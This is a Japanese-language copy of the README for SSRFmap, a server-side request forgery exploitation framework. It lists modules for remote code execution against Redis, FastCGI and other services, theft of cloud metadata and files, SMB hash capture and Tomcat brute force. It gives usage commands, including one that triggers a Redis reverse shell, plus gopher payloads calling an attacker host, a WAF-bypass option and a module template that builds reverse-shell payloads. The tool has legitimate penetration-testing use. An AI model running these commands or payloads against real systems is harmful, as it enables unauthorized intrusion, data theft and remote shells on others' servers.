SSRFmap ダウンロード - SSRFmap ソースコードのダウンロード

SSRFマップ

その他のソースコード

ダウンロード

SSRFマップ

SSRF は他のサービスのアクションを活用するためによく使用されます。このフレームワークは、これらのサービスを簡単に見つけて活用することを目的としています。 SSRFmap は、Burp リクエストファイルを入力として受け取り、ファズへのパラメーターを受け取ります。

サーバー側リクエストフォージェリ (SSRF) は、攻撃者がサーバーに自分の代わりにリクエストを実行するよう強制する脆弱性です。

まとめ

モジュール
インストールとマニュアル
例
SSRFmap - テスト
貢献する
- 貢献者

モジュール

次のモジュールはすでに実装されており、 -m引数とともに使用できます。

名前	説明
`axfr`	DNSゾーン転送(AXFR)
`fastcgi`	FastCGI RCE
`redis`	Redis RCE
`github`	Github エンタープライズ RCE < 2.8.7
`zabbix`	Zabbix RCE
`mysql`	MySQLコマンドの実行
`postgres`	Postgresコマンドの実行
`docker`	APIを介したDocker情報漏洩
`smtp`	SMTP メール送信
`portscan`	ホストの上位 8000 ポートをスキャンします
`networkscan`	ネットワーク上の HTTP Ping スイープ
`readfiles`	`/etc/passwd`などのファイルを読み取る
`alibaba`	プロバイダーからファイルを読み取ります (例: メタデータ、ユーザーデータ)
`aws`	プロバイダーからファイルを読み取ります (例: メタデータ、ユーザーデータ)
`gce`	プロバイダーからファイルを読み取ります (例: メタデータ、ユーザーデータ)
`digitalocean`	プロバイダーからファイルを読み取ります (例: メタデータ、ユーザーデータ)
`socksproxy`	SOCKS4 プロキシ
`smbhash`	UNC パス経由で SMB 認証を強制する
`tomcat`	Tomcat Manager に対するブルートフォース攻撃
`custom`	カスタムデータをリスニングサービスに送信します (例: netcat)
`memcache`	memcache インスタンス内にデータを保存する

インストールとマニュアル

Github リポジトリから。

$ git clone https: // github.com / swisskyrepo / SSRFmap
$ cd SSRFmap /
$ pip3 install - r requirements.txt
$ python3 ssrfmap.py

  usage: ssrfmap.py [ - h ] [ - r REQFILE ] [ - p PARAM ] [ - m MODULES ] [ - l HANDLER ]
                    [ - v [ VERBOSE ]] [ -- lhost LHOST ] [ -- lport LPORT ]
                    [ -- uagent USERAGENT ] [ -- ssl [ SSL ]] [ -- level [ LEVEL ]]

  optional arguments:
    - h , -- help          show this help message and exit
    - r REQFILE          SSRF Request file
    - p PARAM            SSRF Parameter to target
    - m MODULES          SSRF Modules to enable
    - l HANDLER          Start an handler for a reverse shell
    - v [ VERBOSE ]        Enable verbosity
    -- lhost LHOST       LHOST reverse shell or IP to target in the network
    -- lport LPORT       LPORT reverse shell or port to target in the network
    -- uagent USERAGENT  User Agent to use
    -- ssl [ SSL ]         Use HTTPS without verification
    -- proxy PROXY       Use HTTP(s) proxy (ex: http: // localhost: 8080 )
    -- level [ LEVEL ]     Level of test to perform ( 1 - 5 , default : 1 )

ドッカー

$ git clone https: // github.com / swisskyrepo / SSRFmap
$ docker build -- no - cache - t ssrfmap .
$ docker run - it ssrfmap ssrfmap.py [ OPTIONS ] 
$ docker run - it - v $ (pwd): / usr / src / app ssrfmap ssrfmap.py

例

まず、ファズするパラメータを含むリクエストが必要です。Burp リクエストは SSRFmap で適切に機能します。それらは次のようになります。さらに多くの例が./examplesフォルダーにあります。

POST / ssrf HTTP / 1.1
Host: 127.0 . 0.1 : 5000
User - Agent: Mozilla / 5.0 (X11; Linux x86_64; rv: 62.0 ) Gecko / 20100101 Firefox / 62.0
Accept: text / html , application / xhtml + xml , application / xml;q = 0.9 , */* ;q = 0.8
Accept - Language: en - US , en;q = 0.5
Accept - Encoding: gzip , deflate
Referer: http: // mysimple.ssrf /
Content - Type: application / x - www - form - urlencoded
Content - Length: 31
Connection: close
Upgrade - Insecure - Requests: 1

url = https % 3A % 2F % 2Fwww.google.fr

-mの後にモジュール名を指定します (複数のモジュールを起動する場合は,で区切ります)。

 # Launch a portscan on localhost and read default files
python ssrfmap.py - r examples / request.txt - p url - m readfiles , portscan

ヘッダー内に GET または POST パラメーターを挿入する場合は、パラメーター名を指定するだけで済みます。

python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / tmp / test

カスタムユーザーエージェントが必要な場合は、 --uagent使用します。一部のターゲットは HTTPS を使用します。 --sslを使用して有効にできます。

 # Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py - r examples / request.txt - p url - m portscan -- ssl -- uagent " SSRFmapAgent "

一部のモジュールではコネクトバックを作成できますが、 LHOSTおよびLPORT指定する必要があります。また、SSRFmap は受信リバースシェルをリッスンできます。

 # Triggering a reverse shell on a Redis
python ssrfmap.py - r examples / request.txt - p url - m redis -- lhost = 127.0 . 0.1 -- lport = 4242 - l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload

ターゲットが WAF またはいくつかのフィルターによって保護されている場合は、パラメーター--levelを使用してさまざまなペイロードとエンコーディングを試すことができます。

 # --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

SSRFマップのテスト

data/example.py SSRF サービスを使用すると、フレームワークを簡単にテストできます。

地元

FLASK_APP = examples / example.py flask run &
python ssrfmap.py - r examples / request.txt - p url - m readfiles

ドッカー

docker build -- no - cache - t ssrfmap .

# run example ssrf http service
docker run - it - v $ (pwd): / usr / src / app -- name example ssrfmap examples / example.py

# run example ssrf dns service
docker exec - u root:root - it example python examples / ssrf_dns.py

# run ssrfmap tool
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles

テストリクエストを開始します。

docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request2.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request4.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request5.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m axfr
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m axfr -- lhost 127.0 . 0.1 -- lport 53 -- ldomain example.lab

貢献する

私は ❤️ プルリクエストを受け付けています :) 以下にリストされている機能や新しいサービスを自由に追加してください。

Redis PHP のエクスプロイト
HTTPモジュール(Jenkins?)

gopher: // < proxyserver > : 8080 / _GET http: // < attacker: 80 > / x HTTP / 1.1 % 0A % 0A
gopher: // < proxyserver > : 8080 / _POST % 20http: // < attacker > : 80 / x % 20HTTP / 1.1 % 0ACookie: % 20eatme % 0A % 0AI + am + a + post + body

次のコードは、サービスと対話するモジュールを追加する場合のテンプレートです。

 from core . utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = [ "http://link_to_a_research" , "http://another_link" ]

class exploit ():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__ ( self , requester , args ):
        logging . info ( "Module '{}' launched !" . format ( name ))

        # Handle args for reverse shell
        if args . lhost == None : self . SERVER_HOST = input ( "Server Host:" )
        else :                  self . SERVER_HOST = args . lhost

        if args . lport == None : self . SERVER_PORT = input ( "Server Port:" )
        else :                  self . SERVER_PORT = args . lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list ( "127.0.0.1" , args . level )
        for ip in gen_host :
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher ( data , ip , port )

            # Handle args for reverse shell
            payload = payload . replace ( "SERVER_HOST" , self . SERVER_HOST )
            payload = payload . replace ( "SERVER_PORT" , self . SERVER_PORT )

            # Send the payload
            r = requester . do_request ( args . param , payload )